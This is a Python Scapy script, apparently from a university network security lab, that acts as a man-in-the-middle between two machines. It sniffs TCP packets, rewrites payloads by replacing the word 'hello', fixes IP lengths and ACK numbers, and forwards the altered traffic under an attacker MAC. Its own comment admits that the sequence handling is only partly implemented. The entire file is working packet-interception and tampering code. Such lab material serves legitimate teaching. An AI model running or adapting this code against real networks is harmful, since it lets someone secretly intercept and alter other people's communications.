Scapy script for network security TP 1

sniff.py

from scapy.all import sniff, sendp


machine2_ip = "192.168.1.151"
machine1_ip = "192.168.1.220"

attacker_mac = "0c:2b:52:23:ca:00"

machine2_mac = "7a:fe:a8:d7:b3:b5"
machine1_mac = "e2:34:29:f8:d4:4a"

target_word = "hello"
replacement = "A very good day sir !"

machine2_expected_ack = None
machine1_expected_ack = None


def replace_in_payload(pkt, old, new):
    global machine2_expected_ack

    try:
        payload = pkt["Raw"].load
        print "-> Current payload : " + payload
        if old in payload:
            # Modify payload and compute new payload size
            old_size = len(payload)
            payload = payload.replace(old, new)
            print "-> New payload : " + payload
            new_size = len(payload)
            size_diff = new_size - old_size

            # Set the new load and the new TCP segment size
            pkt["Raw"].load = payload
            pkt["IP"].len = pkt["IP"].len + size_diff

            machine2_expected_ack = pkt["TCP"].seq + old_size
    except IndexError:
        pass

    return pkt


def forward(pkt):
    # Remove the destination and source MAC, those will be recalculated
    pkt["Ether"].dst = None
    pkt["Ether"].src = None

    # Remove the checksums, those will be recalculated
    try:
        del pkt["TCP"].chksum
        del pkt["IP"].chksum
        del pkt["UDP"].chksum
    except IndexError:
        pass

    #pkt.show2()

    sendp(pkt, iface="eth0")


def parse(pkt):
    global machine2_expected_ack
    global machine1_expected_ack

    print pkt.summary()
    if pkt["IP"].dst == machine2_ip and pkt["Ether"].dst != machine2_mac and pkt["Ether"].src != attacker_mac:
        print "-> Machine 2 is the destination, forwarding"
        pkt = replace_in_payload(pkt, target_word, replacement)

        # If the previous message was modified, change the ACK
        # (part not really implemented)
        if machine1_expected_ack is not None:
            print "-> Modifying SEQ and ACK"
            pkt["TCP"].ack = machine1_expected_ack
            machine1_expected_ack = None
        forward(pkt)

    if pkt["IP"].dst == machine1_ip and pkt["Ether"].dst != machine1_mac and pkt["Ether"].src != attacker_mac:
        print "-> Machine 1 is the destination, forwarding"

        # If the previous message was modified, change the ACK
        if machine2_expected_ack is not None:
            print "-> Modifying SEQ and ACK"
            pkt["TCP"].ack = machine2_expected_ack
            machine2_expected_ack = None
        forward(pkt)


if __name__ == "__main__":
    pkts = sniff(filter="tcp", prn=parse)